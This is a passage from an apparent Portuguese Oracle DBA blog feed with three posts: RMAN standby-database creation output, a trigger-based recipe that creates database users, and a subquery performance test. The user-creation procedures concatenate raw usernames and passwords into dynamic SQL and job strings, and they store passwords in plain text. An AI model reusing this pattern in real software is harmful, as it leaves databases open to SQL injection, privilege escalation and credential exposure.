0);"&gt;"/backup/n2/n2dg/temp01.dbf";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; switch clone tempfile all;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; set newname for datafile  1 to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"/backup/n2/n2dg/system01.dbf";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; set newname for datafile  2 to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"/backup/n2/n2dg/undotbs01.dbf";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; set newname for datafile  3 to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"/backup/n2/n2dg/sysaux01.dbf";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; set newname for datafile  4 to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"/backup/n2/n2dg/users01.dbf";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; restore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; check readonly&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; clone database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing Memory Script&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing command: SET NEWNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;renamed temporary file 1 to /backup/n2/n2dg/temp01.dbf in control file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing command: SET NEWNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing command: SET NEWNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing command: SET NEWNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing command: SET NEWNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting restore at 04-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: starting datafile backupset restore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: specifying datafile(s) to restore from backup set&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;restoring datafile 00001 to /backup/n2/n2dg/system01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;restoring datafile 00002 to /backup/n2/n2dg/undotbs01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;restoring datafile 00003 to /backup/n2/n2dg/sysaux01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;restoring datafile 00004 to /backup/n2/n2dg/users01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: reading from backup piece /backup/n1/df_t624325825_s1_p1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: restored backup piece 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;piece handle=/backup/n1/df_t624325825_s1_p1 tag=TAG20070603T235025&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: restore complete, elapsed time: 00:00:35&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Finished restore at 04-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;contents of Memory Script:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; switch clone datafile all;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing Memory Script&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;datafile 1 switched to datafile copy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile copy recid=5 stamp=624327223 filename=/backup/n2/n2dg/system01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;datafile 2 switched to datafile copy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile copy recid=6 stamp=624327223 filename=/backup/n2/n2dg/undotbs01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;datafile 3 switched to datafile copy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile copy recid=7 stamp=624327223 filename=/backup/n2/n2dg/sysaux01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;datafile 4 switched to datafile copy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile copy recid=8 stamp=624327223 filename=/backup/n2/n2dg/users01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Finished Duplicate Db at 04-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;released channel: C1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RMAN&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Recovery Manager complete.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Mon Jun 4 00:13:59 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select NAME, OPEN_MODE, PROTECTION_MODE, database_role from v$database;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME      OPEN_MODE  PROTECTION_MODE      DATABASE_ROLE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------- ---------- -------------------- ----------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;N1DG      MOUNTED    MAXIMUM PERFORMANCE  PHYSICAL STANDBY&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Standby database configurado! Vamos recapitular o que fizemos até aqui: um backup da instância primária com o rman, criamos uma estrutura de diretórios nova para a instância auxiliar (physical standby) e copiamos o init.ora com algumas alterações para que pudesse subir como standby, criamos um arquivo de senha e configuramos a rede (listener e tnsnames) além de subir o listener. Com a comunicação estabelecida, pudemos conectar ao target, que é nó primário, e no auxiliar instância que está apenas iniciada em NOMOUNT; então, pedimos para restaurar o backup do primário, porém ao invés de clonar, pedimos para ao RMAN que criasse o standby e como visto acimo no select, está perfeitamente configurado e esperando para receber os archives.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mportes.blogspot.com/2007/06/broker-dataguard-e-real-time-apply-10g.html"&gt;No próximo post&lt;/a&gt;, faremos a aplicação dos logs realtime e a configuração do Broker.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-5635225526990777705?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/5635225526990777705/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=5635225526990777705' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/5635225526990777705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/5635225526990777705'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/06/montar-dataguard-no-10g-com-broker.html' title='Montar Dataguard - 10g'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-2128632926358721414</id><published>2007-05-15T22:14:00.000-03:00</published><updated>2007-05-15T22:20:15.413-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Duvidas'/><title type='text'>Criacao de Usuario Customizado (Duvida)</title><content type='html'>&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;pessoal  eu estou no oracle 10g e queria saber se existe a possibilidade de fazer o seguinte. Tenho uma tabela de usuário onde tem login e senha.. e gostaria de como ficaria a trigger  após o insert para  fazer um create user xxx identify by xxxx ....  e dar o grant de create session to xxxx para o usuário do oracle...&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;E o exemplo completo.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; connect / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt; grant create user to ops$marcio;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Grant succeeded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt; grant create session to ops$marcio with admin option;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Grant succeeded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt; connect /&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table usuarios ( username varchar2(30), senha varchar2(30));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create or replace&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  procedure create_user (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3     p_username in usuarios.username%type,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4     p_senha    in usuarios.senha%type&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5  ) is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6     l_create    long := 'create user '|| p_username ||' identified by '|| p_senha;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7     l_grant     long := 'grant create session to '|| p_username;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9     execute immediate( l_create );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10     execute immediate( l_grant );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Procedure created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create or replace procedure run_create (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2     p_username in usuarios.username%type,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3     p_senha    in usuarios.senha%type&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  ) is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5     pragma autonomous_transaction;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6     l_job       number;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8     dbms_job.submit( l_job, 'create_user( '''|| p_username ||''','''|| p_senha ||''');');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9     commit;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Procedure created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create or replace trigger tgr_aifer_usuarios&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2     after insert on usuarios&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3     for each row&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5     run_create( :new.username, :new.senha );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7   /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Trigger created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; show user&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USER is "OPS$MARCIO"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; insert into usuarios values ('novo_usuario', 'senha01');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; exec dbms_lock.sleep(5)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select * from usuarios;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USERNAME             SENHA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;novo_usuario         senha01&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select username, password&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    from dba_users&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3   where username = 'NOVO_USUARIO'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;USERNAME             PASSWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NOVO_USUARIO         25249E3F24F1A585&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; connect novo_usuario/senha01&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;novo_usuario:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-2128632926358721414?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/2128632926358721414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=2128632926358721414' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/2128632926358721414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/2128632926358721414'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/05/criacao-de-usuario-customizado.html' title='Criacao de Usuario Customizado (Duvida)'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-2426339363597038383</id><published>2007-05-13T15:12:00.000-03:00</published><updated>2007-05-13T15:26:53.037-03:00</updated><title type='text'>Subquery 10g.</title><content type='html'>Há algum tempo, respondi uma dúvida sobre subquery que achei interessante reproduzir na integra. A dúvida a seguinte:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt; Eu gostaria de entender quais são as vantagens e desvantagens de usar uma subquery na cláusula select. Quando usar e quando não usar.&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Interessante a pergunta. É bom quando temos que trabalhar um pouco para responder, assim aprendemos mais. Nesse caso, deu para perceber bem como o otimizador do Oracle está mais "inteligente" a cada nova versão. Explicando melhor, para essa dúvida, era simples a resposta (até a versão 10g) porque uma tabela enorme e outra menor quando juntadas (JOIN) em uma query principal, mesmo com índices (e a maioria dos ambientes não se atenta ao fato de que os parâmetros OPTIMIZER_INDEX_* vêm com um default não apropriado) o otimizador, faria o HASH JOIN, varrendo as duas tabelas. Isso apenas para iniciar a investigação, quando executei o exemplo abaixo no 10g, tive que ajustar a quantidade de linhas, setar o OPTIMIZER_MODE=ALL_ROWS e coletar as estatísticas com o CASCADE =&gt; false. É claro que isso varia de ambiente para ambiente, caso voce faça o teste, ele pode não representar o que foi o meu, mas serve de ínicio para investigação.&lt;br /&gt;&lt;br /&gt;O setup do teste é o seguinte, uma tabela (t1) com muitos registros ~ (1 milhão no 10g e 700 mil no 9i) contendo object_id, object_name, created e status - bastante simples. A outra parte (t2), uma bem menor, com 3000 registros contendo object_id e created e essa tabela foi construída das 3000 primeiras linhas da primeira (t1). O propósito é o join entre ambas para recuperar o object_name na t2, então há duas queries, uma com join normal (onde eu esperava o HASH JOIN) e outra com subquery na clausula select onde eu esperava o NESTED LOOPING. Mas para minha surpresa, o 10g está muito melhor, basta ele deduzir (dynamic sampling) e a escolha é bem eficiente. Eis o setup&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drop table t1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drop table t2;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;create table t1 as&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select object_id, object_name, created, status&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from dba_objects&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;col mx new_value mx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select max(object_id) mx from t1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;insert into t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select &amp;mx+rownum, object_name, created, status&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1, (select null from dual connect by level &amp;lt;=20) &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select count(*) from t1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;create index objidx on t1 ( object_id );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;create table t2 as select object_id, created&lt;/span&gt; &lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from dba_objects  where rownum &amp;lt;= 3000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;begin       &lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  dbms_stats.gather_table_stats( user, 'T1', cascade =&amp;gt; false );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  dbms_stats.gather_table_stats( user, 'T2' );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;set autotrace traceonly&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select t2.object_id, t2.created, t1.object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1, t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select t2.object_id, t2.created,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       ( select object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       ) object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;set autotrace off&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Respondendo a dúvida: A desvantagem de se usar uma subquery é a "tentativa" de reorganizar a busca de forma que o Oracle faça menos esforço para trazer seu resultset. Por que eu disse "desvantagem"? Porque a vantagem mesmo é que, nas versões mais recentes, não é mais necessário lutar com isso, o código fica mais simples e limpo, basta o join e o otimizador decide o caminho.&lt;br /&gt;&lt;br /&gt;Quando usar?&lt;br /&gt;Eu diria que, com a versão 10g, raramente, já na 9i e em um ambiente default, sem customização, talvez há certa economia de esforço, portanto, escalabilidade no código. Mas é preciso entender o conceito e uma boa leitura de plano de execução.&lt;br /&gt;&lt;br /&gt;Vamos ao resultado do teste.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;9i (9.2.0.8)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;============&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX92&gt; select t2.object_id, t2.created, t1.object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    from t1, t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3   where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3000 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execution 